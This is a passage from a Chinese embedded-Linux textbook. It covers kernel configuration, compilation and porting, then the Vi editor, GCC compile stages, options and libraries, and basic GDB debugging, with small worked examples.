无论采用哪种方法或哪些选项配置内核，内核都会在配置完成后生成一个.config文件，还会产生大量的符号链接和头文件，这些在其余的创建过程中会用到。.config文件中保存了根据在menuconfig中选择定义的相应变量，在Linux内核目录下的makefile文件中将会包含这个文件。内核配置方法有以下几种。

1）make config：基于文本的最为传统的配置界面，进入命令行，可以一行一行地配置，该方法较烦琐。

2）make menuconfig：基于文本菜单的配置界面，是字符终端下常用的方式。

3）make xconfig：基于图形窗口模式的配置界面，Xwindows下推荐使用。

4）make oldconfig：自动读入config配置文件，并且只要求用户设定之前没有设定过的选项。

在这4种方法中，make menuconfig使用最为广泛，选择相应的配置时有三种选择，它们分别代表的含义如下。

·Y：将该功能编译进内核。

·N：不将该功能编译进内核。

·M：将该功能编译成可以在需要时动态插入到内核中的模块。

进行配置时，大部分选项可以使用默认值，只有小部分选项需要根据用户不同的要求选择。其中比较重要的选项如下所示。

·Code maturity level options（内核成熟级别选项）

·Loadable module support（可加载模块支持）

·General setup（通用设置）

·Memory technology devices（内存技术设备）

·Block device（块设备）

·Network device support（网络设备支持）

·Character devices（字符设备）

·Filesystems（文件系统）

·Console drivers（控制台驱动）

在完成配置之后，就可以保存退出。


3.3.2　内核编译的过程

在完成内核的裁剪之后，内核的编译如下所示。

（1）#make clean

清理临时文件，避免出现一些错误。

（2）#make dep

读取配置过程生成的配置文件，建立内核的依赖关系。内核的makefile必须知道内核中的C源代码和头文件之间的依赖关系，以确定哪些需要编译哪些不需要。

（3）#make zImage

实现完全编译内核，建立一个使用gzip压缩算法的Linux内核映像zImage。

如果编译成功，生成的内核映像文件将放置在arch/${ARCH}/boot目录下，对于ARM架构来说是在arch/arm/boot目录下。

如果在配置内核时选择了对内核模块的支持，还需要使用如下命令单独地编译内核模块。



#make modules



内核模块不会包含在Linux的内核映像中，它将生成单独的文件。如果将来还要对内核重新进行编译，则需执行命令make distclean，去除依赖关系并清除以前编译产生的文件，然后重复上述步骤即可。

在Linux-2.6.x中，编译时不需要用make dep来生成依赖关系。


3.4　内核的移植

使某个平台的代码运行在其他平台上的过程就叫做移植。Linux系统通过移植可以运行在ARM、PowerPC、M68K等多种平台上。

Linux内核主要由5个子系统组成：进程调度、内存管理、虚拟文件系统、网络接口和进程间通信。一般在Linux系统中的/usr/src/linux-*.*.*目录下就是内核源代码。Linux内核源代码的分布如下。

·arch：这个子目录包含了此核心源代码所支持的与硬件体系结构相关的核心代码。如对于x86平台就是i386。

·include：这个目录包括了核心的大多数include文件。另外，对于每种支持的体系结构分别有一个子目录。

·init：此目录包含核心启动代码。

·mm：此目录包含了所有的内存管理代码。与具体硬件体系结构相关的内存管理代码位于arch/*/mm目录下，如对应于x86的就是arch/i386/mm/fault.c。

·drivers：系统中所有的设备驱动都位于此目录中。它又进一步划分成几类设备驱动，每一种也有对应的子目录，如声卡的驱动对应于drivers/sound。

·ipc：此目录包含了核心的进程间通信代码。

·modules：此目录包含已建好可动态加载的模块。

·fs：Linux支持的文件系统代码。不同的文件系统有不同的子目录对应，如ext2文件系统对应的就是ext2子目录。

·kernel：主要核心代码。同时与处理器结构相关的代码都放在arch/*/kernel目录下。

·net：核心的网络部分代码。里面的每个子目录对应于网络的一个方面。

·lib：此目录包含了核心的库代码。与处理器结构相关的库代码被放在arch/*/lib/目录下。

·scripts：此目录包含用于配置核心的脚本文件。

·Documentation：此目录包含一些文档，起参考作用。

在了解了Linux的内核结构以后，就可以开始移植工作了。

移植所要做的工作就是根据硬件的配置，修改Linux内核目录中的Makefile文件、配置文件及某些源代码。编译内核的过程如下所示。

（1）安装内核

如果内核已经安装（/usr/src/目录有linux子目录），跳过；如果没有安装，到Linux内核版本发布的官方网站"http://www.kernel.org"进行下载安装。

（2）清除以前编译内核时残留的.o文件和不必要的关联



cd/usr/src/linux

make mrproper



（3）配置内核，修改相关参数

在图形界面下，执行make xconfig命令；在字符界面下，执行make menuconfig命令；在内核配置菜单中正确设置内核选项，保存退出。

（4）正确设置关联文件



make dep



（5）编译内核

对于大内核（比如需要SCSI支持），make bzImage；对于小内核，make zImage。

（6）编译模块

运行命令make modules。

（7）安装模块

运行命令make modules_install。


3.5　实践拓展

1.关于串口终端调试

在BootLoader程序的设计与实现中，经常会碰到串口终端显示乱码或根本没有显示的问题。造成这个问题的原因主要有两种：1）BootLoader对串口的初始化设置不正确。2）运行在host端的终端仿真程序对串口的设置不正确，包括波特率、奇偶校验、数据位和停止位等方面的设置。

此外，有时也会碰到这样的问题：在BootLoader的运行过程中可以正确地向串口终端输出信息，但当BootLoader启动内核后却无法看到内核的启动输出信息。究其原因可以从以下几个方面来考虑。

1）首先请确认内核在编译时配置了对串口终端的支持，并配置了正确的串口驱动程序。

2）BootLoader对串口的初始化设置可能会和内核对串口的初始化设置不一致。

3）最后，还要确认BootLoader所用的内核基地址和内核映像在编译时所用的运行基地址一致。

2.Linux主要内核选项及其含义

·Code maturity level options：代码成熟等级选项。

·Loadable module support：对模块的支持。

·Processor type and features：处理器类型和特色。

·General setup：常规设置。

·Memory technology devices(MTD)：储存技术设备。

·Parallel port support：配置并口。

·Plug and play configuration：即插即用支持。

·Block devices：块设备支持。

·Multiple devices driver support：多设备驱动支持。

·Networking options：网络选项。

·Telephony support：电话支持。

·File system：配置文件系统。

·Sound support：声卡支持。

·USB support：配置USB支持。


3.6　思考与练习

1.常见的交叉编译工具有哪些？

2.针对ARM创建交叉编译环境，其一般步骤是什么？

3.常见的Linux BootLoader有哪些？

4.BootLoader两阶段启动中stage1和stage2的步骤有哪些？

5.移植U-Boot的基本步骤有哪些？


第二篇　基础编程


 第4章　Linux下C编程基础

本章要点：

嵌入式Linux编辑器Vi的使用

嵌入式Linux编译器GCC的使用

嵌入式Linux调试器GDB的使用

make工程管理器

Emacs综合编辑器


 4.1　嵌入式Linux C语言编程概述

嵌入式Linux C语言程序设计与在其他环境中的C程序设计很类似，也涉及编辑器、编译链接器、调试器及项目管理器的使用。下面对这4种工具进行简单介绍。

（1）编辑器

嵌入式Linux下的编辑器就如Windows下的Word、记事本等一样，完成对所录入文字的编辑功能，Linux系统提供了一个完整的编辑器家族系列，如Ed、Ex、Vi和Emacs等，它们功能强大，使用方便。其中常用的编辑器是Vi和Emacs。这些编辑器按功能可以分为两大类：行编辑器（Ed、Ex）和全屏幕编辑器（Vi、Emacs）。行编辑器每次只能对一行进行操作，使用起来很不方便，而全屏幕编辑器可以对整个屏幕进行编辑，用户编辑的文件直接显示在屏幕上，修改的结果可以立即显示出来，从而克服了行编辑器的不直观的操作方式，便于用户学习和使用，具有强大的功能。

（2）编译链接器

编译过程包括词法、语法和语义的分析，中间代码的生成和优化，符号表的管理和出错处理等。在嵌入式Linux中，最常用的编译器是GCC编译器。它是GNU推出的功能强大、性能优越的多平台编译器，其执行效率与一般的编译器相比平均效率要高20%～30%。

（3）调试器

调试器可以方便程序员调试程序，但不是代码执行的必备工具。在编程的过程当中，调试所消耗的时间远远大于编写代码的时间。因此，一个功能强大、使用方便的调试器是必不可少的。GDB可以方便地设置断点、单步跟踪等，足以满足开发人员的需要。

（4）项目管理器

嵌入式Linux中的项目管理器"make"类似于Windows中Visual C++里的“工程”，它是一种控制编译或者重复编译软件的工具，另外，它还能自动管理软件编译的内容、方式和时机，使程序员能够把精力集中在代码的编写上而不是在源代码的组织上。


4.2　嵌入式Linux编辑器Vi

Vi（visual interface）是Linux系统的第一个全屏幕交互式编辑工具，它从诞生至今一直得到广大用户的青睐，历经数十年后仍然是人们主要使用的文本编辑工具。文本编辑器是所有计算机系统中最常使用的一种工具。用户在使用计算机时，通常需要建立自己的文件，无论是一般的文本文件、数据文件还是编写的源程序文件，都离不开编辑器。

Vi可以执行输出、删除、查找、替换等文本操作，而且用户可以根据自己的需要对其进行定制，这是其他文本编辑程序所不具有的优势。

Linux系统提供了一个完整的编辑器家族系列，如Ed、Ex、Vi和Emacs等，其中Ed、Ex属于行编辑器，每次只能对一行进行操作，Vi、Emacs属于全屏编辑器，可以对整个屏幕进行编辑。


 4.2.1　Vi的基本模式

Vi没有菜单，只有命令，初学者可能会觉得它比较烦琐，但熟练之后，就会发现Vi是一个简单易用并且具备强大功能的源程序编辑器。它的使用按不同的方式可以分为3种状态，分别是命令行模式（Command Mode）、插入模式（Insert Mode）和底行模式（Last Line Mode），各模式的功能区分如下。

（1）命令行模式（Command Mode）

在该模式下用户可以输入命令来控制屏幕光标的移动，字符、字或行的删除，移动复制某区段，也可以进入到底行模式或者插入模式下。如果输入的字符是合法的Vi命令，Vi在接受用户命令之后完成相应的操作，但是所输入的命令并不在屏幕上显示出来，如果输入的是不合法的Vi命令，Vi就会响铃报警。在Shell环境下（提示符为$）启动Vi命令，进入编辑器时也是处于该模式下。在命令行模式下，从键盘上输入的任何字符都作为命令来解释。

（2）插入模式（Insert Mode）

插入模式主要用于输入文本，用户只有在插入模式下才可以进行文字输入，并会显示在屏幕上。在命令行模式下输入i、a等命令就可以进入插入模式。在该模式下，用户输入的任何字符都被Vi当作文件内容保存起来，并显示在屏幕上。在插入模式下，用户按"Esc"键可回到命令行模式下。

（3）底行模式（Last Line Mode）

在该模式下，用户可以将文件保存在Vi中或从Vi退出，也可以设置编辑环境，如寻找字符串、列出行号等。这一模式下的命令都是以":"开始的。在命令行模式下，按":"键就进入了底行模式。在底行模式下，可以进行诸如保存文件、退出、查找字符串、文本替换、显示行号等操作。一条命令执行完毕，就会返回到命令行模式。

在一般使用时，人们通常把Vi简化成两个模式，命令行模式和插入模式，即将底行模式也归入命令行模式中。

当处于底行模式，并已经输入了一条命令的一部分而不想继续时，按键删除已输入的命令或直接按键都可以进入命令行模式。


4.2.2　Vi的基本操作

1.进入与离开Vi

进入Vi可以直接在系统提示字下键入Vi＜文档名称＞，Vi可以自动载入所要编辑的文档或是开启一个新的文档。如在命令行下键入Vi example.c（新建文档）则可进入Vi操作界面。如图4-1所示，此时光标位于屏幕第一行的首位上。进入Vi后屏幕左方各行行首会出现波浪符号，凡是具有该符号就代表该行目前是空的。最后一行也叫状态行，显示出当前正在编辑的文件名以及其状态。此时进入的是命令行模式，需要切换到插入模式才能够输入文字。此外，通过以下几个命令也可以启动Vi。
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图　4-1　Vi编辑器窗口

·Vi：不指定文件名，在保存文件时需要指定文件名。

·Vi+n文件名：进入Vi，光标停在第n行开始处。

·Vi+文件名：进入Vi，光标停在文件最后一行开始处。

·Vi+/字符串　文件名：进入Vi，光标停在第一个字符串处。

在命令行模式下按两次"Z"键，将保存文件并退出Vi。或者可以在底行模式下键入"：q"（不保存离开），":wq"（保存离开）指令则是存档后再离开，如图4-2所示。
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图　4-2　在Vi中退出文档

2.Vi中3种模式的切换

Vi的使用过程中3种模式的切换是最为常用的，在处理过程中，要时刻注意屏幕左下方的提示。在插入模式下，左下方会有“插入”字样，而在命令行或底行模式下则无提示。

（1）命令行模式、底行模式转为插入模式

在命令行模式或底行模式下转入到插入模式有3种方式，如表4-1所示。
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例如，在命令行模式下键入"i"进入插入模式，如图4-3所示。
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图　4-3　Vi的插入模式

（2）插入模式转为命令行模式、底行模式

从插入模式转为命令行模式、底行模式比较简单，只需使用"Esc"键即可。

（3）命令行模式与底行模式转换

命令行模式与底行模式间的转换只需要直接键入相应模式中的命令即可。

3.Vi的删除、查找、替换与复制

在Vi中进行删除、修改都可以在插入模式下使用键盘上的方向键及"Delete"键，另外，Vi还提供了一系列的操作指令可以大大简化操作。

表4-2所示为Vi的删除、查找、替换与复制命令，它们都是在命令行模式下使用的。
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4.Vi的光标移动

由于许多编辑功能都是通过光标的定位来实现的，因此，掌握Vi中的光标移动的方法很重要。虽然使用方向键也可以实现Vi的操作，但Vi的指令可以实现复杂的光标移动，熟悉使用后将非常方便。表4-3为Vi中的光标移动命令，这些指令都是在命令行模式下使用的。
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5.Vi的底行模式功能键

Vi的底行模式下所有的指令都是以":"开头，其命令如表4-4所示。
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Vi的升级版Vim已经问世了，Vim是个高级的文本编辑器，可用来进行高效的文本编辑，具有强大灵活的可配置性，以符合用户的使用习惯。


4.2.3　Vi的使用实例分析

下面给出了一个Vi使用的完整实例，通过这个实例，一方面可以熟悉Vi的使用流程，另一方面也可以熟悉Linux的操作。

【例4-1】Vi的基本操作

[1]建一个名为/test的目录。

[2]进入/test目录。

[3]进入Vi，并新建一个名为example.c的文件。

[4]在example.c中读/root/hello中的内容。

[5]从example.c的第5行开始读入/root/hello的所有内容。

[6]将当前编辑的文件的第6～15行存入临时文件中。

[7]在文件的第一行至最后一行的行首插入字符串"string"。

[8]向下查找字符串"hi"。

[9]光标移动到当前屏幕的最后一行第一列。

[10]不保存文件，直接退出。

在该实例中，每一步的使用命令如下所示。



mkdir test

cd test

Vi example.c

:r/root/hello.c

:5r/root/hello.c

:6,15w/tmp/1(把第6～15行之间的内容存盘成文件/tmp/1)

:s/^/string/

/hi

L

:q!




4.3　嵌入式Linux编译器GCC

Linux中最重要的软件开发工具是GCC（GNU Compiler Collection），它是GNU项目中符合ANSI C标准的编译器，能够编译用C和C++编写的程序。而且它是一个交叉平台编译器，它能够在当前的CPU平台上为多种不同体系结构的硬件平台开发软件，因此特别适合嵌入式领域的开发编译。

GCC不仅功能非常强大，结构也非常灵活。经过多年的发展，GCC已经不仅仅能支持C语言，它现在还支持Ada语言、C++语言、Java语言、Objective C语言、FORTRAN、Pascal语言、modula-3语言，并支持函数式编程和逻辑编程的Mercury语言等。而GCC也不再单指GNU C语言编译器，而是变成了GNU编译器家族。目前GCC支持的体系结构有四十余种，常见的有Intel x86系列、ARM、PowerPC等。同时GCC还能运行于不同的操作系统上，如Linux、Solaris、Windows等。GCC不仅支持基于宿主的开发也支持交叉编译。

一般来说，C编译器通过源文件的后缀名来判断是C程序还是C++程序。在Linux中，C源文件的后缀名为.c，而C++源文件的后缀名为.c或.cpp。但是，GCC命令只能编译C++源文件，而不能自动和C++程序使用的库链接。因此，通常使用g++命令来完成C++程序的编译和链接，该程序会自动调用GCC实现编译。

使用GCC来编译程序时，GCC的编译流程可以分为4个步骤，分别是：预处理（preprocess）；编译（compile）；汇编（as-semble）；链接（link）。

编译器通过程序的扩展名可分辨编写原始程序码所用的语言，由于不同的程序需要执行编译的步骤是不同的，因此GCC根据不同的后缀名对它们进行分别处理。表4-5是GCC支持编译源文件的后缀及其解释。
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 4.3.1　GCC编译流程分析

在使用GCC编译器的时候，必须给出一系列必要的选项和文件名。GCC最基本的命令格式为：



gcc[options][filenames]



其中，options就是编译器所需要的选项，通过指定不同的选项GCC可以实现其强大的功能。filenames给出相关的文件名，GCC会根据用户所指定的编译选项以及所识别的文件后缀名来对编译文件进行相应的处理。

【例4-2】GCC的编译流程说明

下面通过例子来实践GCC的编译流程。

[1]在Vi中创建一个新工程文件，命名为"example4_2.c"。

[2]在"example4_2.c"中创建如下代码。



#include＜stdio.h＞

int main()

{

char from[80],to[80];

int i;

printf("please input string:");

scanf("%s",from);

for(i=0;i＜=strlen(from);i++)

to[i]=from[i];

printf("The copy string is:%s\n"to);

return 0;

}



根据上面的内容，使用GCC命令来编译该程序。首先进行预处理，然后进行编译、汇编和链接。

[3]预处理阶段

预处理阶段输入的是C语言的源文件，编译器分析处理源代码文件中的各种宏指令，如#in-clude、#ifdef等，进行去注释、头文件展开、宏替换等操作。在预处理阶段，编译器将上述代码中的stdio.h编译进来，用户可以调用-E参数让GCC在预处理结束后停止编译过程。



[root@localhost]#gcc-E example4_2.c-o example4_2.i



此处"-o"是指目标文件，".i"为经过预处理的C源程序。以下为example4_2.i文件的部分内容。



#1 "example4_2.c"

#1 "＜built-in＞"

#1 "＜command line＞"

#1 "example4_2.c"

#1 "/usr/include/stdio.h"1 3 4

#28 "/usr/include/stdio.h"3 4

#1 "/usr/include/features.h"1 3 4

#314 "/usr/include/features.h"3 4

#1 "/usr/include/sys/cdefs.h"1 3 4

#315 "/usr/include/features.h"2 3 4

#337 "/usr/include/features.h"3 4

#1 "/usr/include/gnu/stubs.h"1 3 4

#338 "/usr/include/features.h"2 3 4

#29 "/usr/include/stdio.h"2 3 4



[4]编译阶段

编译（compile）是指从高级语言转换成汇编语言的过程。编译器在预处理结束之后，GCC首先要检查代码规范性、是否有语法错误等，以确定代码实际要做的工作，在检查无误后，就开始把代码翻译成汇编语言，GCC的选项"-S"能使编译器在进行完汇编之前就停止，该选项只进行编译而不进行汇编，生成汇编代码。由表4-5可知，".s"是汇编语言原始程序，因此，此处的目标文件就可设为".s"类型。



[root@localhost GCC]#gccS example4_2.io example4_2.s



下面列出了example4_2.s的内容，可见GCC已经将其转化为汇编代码了。



.file"example4_2.c"

.section .rodata

.LC0:

.string"please input string:"

.LC1:

.string"%s"

.LC2:

.string"The copy string is:%s\n"

.text

.globl main

.type main,@function

main:

pushl%ebp

movl%esp,%ebp

subl $184,%esp

andl $-16,%esp

movl $0,%eax

addl $15,%eax

addl $15,%eax

shrl $4,%eax

sall $4,%eax

subl%eax,%esp

subl $12,%esp

pushl $.LC0

call printf

addl $16,%esp

subl $8,%esp

leal -88(%ebp),%eax

pushl%eax

pushl $.LC1

call scanf

addl $16,%esp

movl $0,-172(%ebp)

.L2:

leal -88(%ebp),%eax

subl $12,%esp

pushl%eax

call strlen

addl $16,%esp

cmpl%eax,-172(%ebp)

ja .L3

leal -168(%ebp),%eax

movl%eax,%edx

addl -172(%ebp),%edx

leal -88(%ebp),%eax

addl -172(%ebp),%eax

movb(%eax),%al

movb%al,(%edx)

leal -172(%ebp),%eax

incl(%eax)

jmp .L2

.L3:

subl $8,%esp

leal -168(%ebp),%eax

pushl%eax

pushl $.LC2

call printf

addl $16,%esp

leave

ret

.size main,.-main

.section .note.GNU-stack,"",@progbits

.ident "GCC:(GNU)3.4.3 20041212(Asianux 2.0 3.4.3-9.EL4.2)"



可以看到，这一小段C语言程序转换为汇编代码后复杂很多，这也是C语言的优势所在。

[5]汇编阶段

汇编阶段是把编译阶段生成的".s"文件生成目标文件，读者在此使用选项"-c"就可看到汇编代码已转化为".o"的二进制目标代码了。命令如下：



[root@localhost GCC]#gccc example4_2.so example4_2.o



[6]链接阶段

在成功编译之后，就进入链接阶段。在该阶段，编译器把汇编阶段生成的二进制代码、程序中用到的库文件链接起来，完成了链接之后，GCC就可以生成可执行文件，其命令如下所示。



[root@localhost GCC]#gcc example4_2.o-o example4_2



运行该可执行文件，结果如图4-4所示。
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图　4-4　例4-2的运行结果


4.3.2　GCC编译选项分析

在使用GCC编译器的时候，必须给出一系列必要的选项和文件名。GCC有超过100个可用选项，主要包括总体选项、告警和出错选项、优化选项和体系结构相关选项。具体的选项可以使用以下命令来查看。



man gcc

info gcc



1.总体选项

GCC的总体选项如表4-6所示。
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由于库文件的通常路径不是在系统默认的路径下，因此，首先要使用调用路径选项来指定相关的库文件位置。

2.告警和出错选项

当GCC在编译过程中检查出错误时，它就会中止编译；但检测到警告时却能继续编译生成可执行程序，因为警告只是针对程序结构的诊断信息，它不能说明程序一定有错误，而是存在风险，或者可能存在错误。虽然GCC提供了非常丰富的警告，但前提是已经启用了它们，否则它不会报告这些检测到的警告。GCC的警告提示选项有很多种类型，主要可分为"-Wall"类和非"-Wall"类。

（1）Wall类警告提示

这一类警告提示选项占了GCC警告选项的90%以上，它不仅包含打开所有警告等功能，还可以单独对常见错误分别指定警告，这些常见的警告选项如表4-7所示（这些选项可供读者在实际操作时查阅使用）。
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这些警告提示读者可以根据不同情况进行相应的选择，这里最为常用的是-Wall。

【例4-3】告警和出错选项的使用

下面通过程序来练习使用GCC的告警和出错选项。

[1]在Vi中创建一个新工程文件，命名为"example4_3.c"。

[2]在"example4_3.c"中创建如下代码。



#include

void main()

{

char c=255;

int i=0;

int a[256];

for(i=0;i＜256;i++)

{

a[i]=1;

}

printf("%d\n",c);/*期待输出255*/

printf("%d\n",a[c]);/*期待输出1*/

printf("%d\n",a[255]);

}



该程序存在的问题是：main()函数的返回值被声明为void，但实际上应该是int；char是有符号的，其范围应该是[0，255]；main()函数在终止前没有调用return语句。

上面的这一小段程序使用该警告提示后的结果如图4-5所示。
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图　4-5　例4-3使用警告提示后的结果

（2）非Wall类警告提示

非Wall类警告提示中最为常用的有以下两种："-ansi"和"-pedantic"。

·-ansi：该选项强制GCC生成标准语法所要求的告警信息，尽管这还并不能保证所有没有警告的程序都是符合ANSIC标准的，例4-3使用该选项的运行结果如图4-6所示。

[image: ]


图　4-6　例4-3使用"-ansi"告警选项的输出结果

·-pedantic：该选项允许发出ANSIC标准所列出的全部警告信息，同样也保证所有没有警告的程序都是符合ANSIC标准的。例4-3使用该选项的运行结果如图4-7所示。
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图　4-7　例4-3使用"-pedantic"告警选项的输出结果

3.优化选项

用GCC编译C/C++代码时，它会试着用最少的时间完成编译，并且保证编译后的代码易于调试。易于调试意味着编译后的代码与源代码有同样的执行顺序，编译后的代码没有经过优化。有很多选项可以帮助GCC在耗费更多编译时间和牺牲易调试性的基础上产生更小更快的可执行文件。

GCC通过编译选项-On来控制优化代码的生成，其中n是一个代表优化级别的整数。对于不同版本的GCC来讲，n的取值范围与其对应的优化效果可能并不完全相同，比较典型的范围是从0变化到2或3。

不同的优化级别对应不同的优化处理工作。编译时使用选项-O可以告诉GCC同时减小代码的长度和执行时间，其效果等价于选项-O1。在这一级别上能够进行的优化类型虽然取决于目标处理器，但一般都会包括线程跳转（thread jump）和延迟退栈（deferred stack pops）两种优化。

·选项-O：对程序进行优化编译、链接，采用这个选项，整个源代码会在编译、链接过程中进行优化处理，这样产生的可执行文件的执行效率较高，但是，编译、链接的速度相对慢一些。

·选项-O2：告诉GCC除了完成所有-O1级别的优化之外，同时还要进行一些额外的调整工作，如处理器指令调度等。

·选项-O3：除了完成所有-O2级别的优化之外，还包括循环展开和其他一些与处理器特性相关的优化工作。

通常来说，数字越大优化的等级越高，同时也就意味着程序的运行速度越快。虽然优化选项可以加速代码的运行速度，但对于调试而言将是一个很大的挑战。因为代码在经过优化之后，原先在源程序中声明和使用的变量很可能不再使用，控制流也可能会突然跳转到意外的地方，循环语句也有可能因为循环展开而变得到处都有，所有这些都将使调试工作异常艰难。

建议在调试的时候最好不使用任何优化选项，只有当程序在最终发行的时候才考虑对其进行优化。

4.体系结构相关选项

表4-8给出了GCC体系结构的相关选项。
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4.3.3　GCC使用的库函数

函数库可以看作是事先编写的函数集合，里面封装了数据和函数，经过编译后可以直接供给用户程序调用，它可以与主函数分离，从而增加程序开发的复用性。Linux中函数库可以有两种使用的形式：静态库和动态库。系统中可用的库都存放在/usr/lib和/lib目录中。库文件名由前缀lib和库名以及后缀组成。根据库的类型不同，后缀名也不一样。静态库和动态库一般分别以后缀.a和.so来区别。

静态库一般是源代码只进行编译后生成的目标文件，不需要进行链接直接将该目标文件打包成函数库。对这类静态函数库的使用，是在编译链接使用了静态库的源代码文件时，指定好静态库文件（目标文件），将这些静态库（目标文件）一起链接进最终的可执行文件中去。所以在最终执行程序时，静态库中被使用到的函数是随程序启动开始就被加载到内存中去的。静态库的创建步骤如下：

·在一个头文件中声明静态库所导出的函数。

·在一个源文件中实现静态库所导出的函数。

·编译源文件，生成可执行代码。

将可执行代码所在的目标文件加入到某个静态库中，并将静态库复制到系统默认的存放库文件的目录下。示例如下：

[1]首先创建库文件libhello.c：



#include＜stdio.h＞

#include"libhello.h"

void hello()

{

printf("welcome to Linux!\n");

}



[2]创建头文件libhello.h：



void hello();



[3]先将其编译成目标文件：



gccc libhello.c



[4]创建libhello静态库文件：



gcc-c libhello-o libhello.o

ar rcs libhello.a libhello.o



其中，ar中的rcs的意思是：r表明将模块加入到静态库中，c表示创建静态库，s表示生产索引。

[5]写一个测试程序test.c：



#include＜stdio.h＞

int main(void)

{

printf("test!\n");

hello();

}



[6]编译与链接：



gcc-c test.c-o test.o

gcc test.o-L.-lhello-o test



结果如图4-8所示。
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图　4-8　静态库创建的输出结果

lhello是给链接器指定库文件名，因为Linux下的库文件名一般都为.a或.so，所以-lhello其实就是指定名称为libhello.a或者libhello.so的库文件名。

动态库是将一组函数编译链接成的一个共享的库文件。使用时，也是需要在编译链接源代码时，指定动态库文件名称。但与使用静态库文件不同，使用动态库进行链接，在链接生成最终的可执行文件的时候，不会将用到的库中的函数直接链接进可执行文件中来，而只是先链接进来一个函数的符号链接。这样，在执行该可执行程序的时候，程序不会在一开始启动的时候就把那些使用到的动态库中的函数加载进来，而是等到具体执行到使用这些函数的代码时才动态加载这些库函数。在Linux下编写动态链接库的步骤如下所示。

[1]编写库的头文件和源文件。

[2]把所有涉及的源文件编译为目标文件。

[3]把所有的目标文件链接为动态库。

[4]建立一个库名链接。

例如：



库文件为libhello.c

头文件为libhello.h



创建动态库：



gcc-shared-fPIC-o libhello.so libhello.o



-fPIC指通过这个选项来生成与位置无关的代码，可以在任何地址被链接和装载。

链接动态库：



gcc-shared-Wl,-soname,soname-o libname filelist liblist



·soname是库的soname。

·libname是库的名字，包含完整版本号，例如libc.so.5.3.12。

·filelist是想放到库中的目标文件列表。

·liblist是库将要访问的库列表。

-Wl（注意W为大写）表示将这条g++命令的参数传递给链接器，其实也就是说直接进行链接，而跳过编译；-shared是一个链接参数，表示将被操作对象链接生成一个共享库（shared object），有了这个参数链接器就不会因为找不到main函数而报错。

例如：如果需要从目标文件foo.o和bar.o中创建库文件libfoo.so.1.0.1，同时它的so-name是libfoo.so.1，那么使用以下调用：



gcc-shared-Wl,-soname,libfoo.so.1-o libfoo.so.1.0.1 foo.o bar.o\-lc



还可以通过调用系统函数来使用动态链接库，相关函数如表4-9所示。
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当系统中同时存在文件名相同的静态库文件和动态库文件时，系统调用的是动态库文件。这是由于Linux系统中默认的是采用动态链接的方式。这样，若用户要调用哪个含有同名动态库的静态库文件，则在"-l"后需要显式地写出包含后缀名的文件名。


4.4　嵌入式Linux调试器GDB的使用

在程序编译通过生成可执行文件之后，就进入了程序的调试环节。Linux系统中包含了GNU调试程序GDB（GNU DeBugger），它是一个用来调试C和C++程序的调试器。可以使程序开发者在程序运行时观察程序的内部结构和内存的使用情况。

GDB所提供的一些功能如下所示：

·启动程序，设置所有能影响程序运行的参数和环境。

·能够让程序在指定断点处停止。

·能够在程序停止时检查所有参数的情况。

·能够根据指定条件改变程序的运行。

·动态监视程序中变量的值。

·可以单步执行代码，观察程序的运行状态。

要注意的是，GDB调试的是可执行文件，而不是源程序，如果想让GDB调试编译后生成的可执行文件，在使用GDB工具调试程序之前，必须使用带有-g或-GDB编译选项的GCC命令来编译源程序。以下是GDB的一些基本命令：

·file：装入想要调试的可执行文件。

·kill：终止正在调试的程序。

·list：列出产生执行文件的源代码的一部分。

·next：执行一行源代码但不进入函数内部。

·step：执行一行源代码而且进入函数内部。

·run：执行当前被调试的程序。

·quit：终止。

·gdbwatch：监视一个变量的值而不管它何时被改变。

·break：在代码里设置断点，这将使程序执行到这里时被挂起。

·make：不退出GDB就可以重新产生可执行文件。

·Shell：不离开GDB就执行UNIX Shell命令。


 4.4.1　GDB使用实例

下面通过一个简单的实例使读者对GDB有一个感性的认识，这里介绍的指令都是GDB中最为基本也是最为常用的指令，希望读者能够动手操作，掌握GDB的使用方法。

【例4-4】GDB的使用

1.创建文件

[1]在Vi中创建一个新工程文件，命名为"example4_4.c"。

[2]在"example4_4.c"中创建如下代码。



#include＜stdio.h＞

#include＜math.h＞

int main(void)

{

float pi,r,l,s;

pi=3.1415926;

printf("Please input r:\n");

scanf("%f,%f",＆r);

if(r＞=0)

{

l=2*pi*r;

s=r*r*pi;

printf("The value of l is:%f\n",l);

printf("The value of s is:%f\n",s);

}

else

printf("Sorry,the input is wrong!\n");

return 0;

}



2.编译文件

[1]编译文件。在终端输入以下命令：



$gccg example4_4.co example4_4



如果程序编译通过，运行该程序，结果如图4-9所示。
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图　4-9　例4-4的运行结果

[2]如果程序有错，输入下面命令进行编译：



[root@localhost～]#gcc-g-o example4_4.debug example4_3.4



此时，程序可以正常编译通过，输出文件是example4-4.debug，该文件中加入了文件调试所需要的信息。

3.调试程序

[1]在终端输入"gdb"命令，进入到GDB。



[root@localhost～]#gdb



显示的结果如图4-10所示。
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图　4-10　GDB命令输出结果

可以看出，在GDB的启动画面中指出了GDB的版本号、使用的库文件等信息，接下来就进入了由"（gdb）"开头的命令行界面了。

[2]查看文件。在GDB中键入"l"（list）就可以查看所载入的文件，如图4-11所示。
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图　4-11　查看载入文件的结果

可以看出，GDB明确地给出了对应的行号，这样可以极大地方便代码的定位。

在一般情况下，源代码中的行号与用户书写程序中的行号是一致的，但有时由于用户的某些编译选项会导致行号不一致的情况，因此，要查看在GDB中的行号。

[3]设置断点。设置断点可以使程序在一定位置暂停运行，程序员在该位置处可以方便地查看变量的值、堆栈情况等，从而找出代码的问题所在。在GDB中设置断点非常简单，只需要在b后加入对应的行号即可（这是最常用的方式，另外还有其他方式设置断点），其命令如图4-12所示。
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图　4-12　设置断点的运行结果

要注意的是，在GDB中利用行号设置断点是指代码运行到对应行之前暂停。

[4]查看断点。在设置完断点之后，用户可以键入"info b"来查看设置断点的情况，在GDB中可以设置多个断点。结果如下所示。



(gdb)info b

Num Type Disp Enb Address What

1 breakpoint keep y 0x080483e4 in main at example4_3.c:9

2 breakpoint keep y 0x080483b8 in main at example4_3.c:5

3 breakpoint keep y 0x08048443 in main at example4_3.c:17

(gdb)



4.运行代码

[1]GDB默认从首行开始运行代码，键入"r"（run）即可。



(gdb)r



结果如下：



(gdb)r

Starting program:/root/example4_3

Breakpoint 2,main()at example4_3.c:6

6 pi=3.1415926;

(gdb)



在r后面加上行号即可从程序中指定行开始运行。

[2]输入"step"命令，程序运行一步，显示结果如下：



(gdb)step

7 printf("Please input r:\n");

(gdb)



[3]输入"step"命令，程序运行一步，显示结果如下：



(gdb)step

printf(format=0x40490fda＜Address 0x40490fda out of bounds＞)at printf.c:33

33 printf.c:没有那个文件或目录.

in printf.c

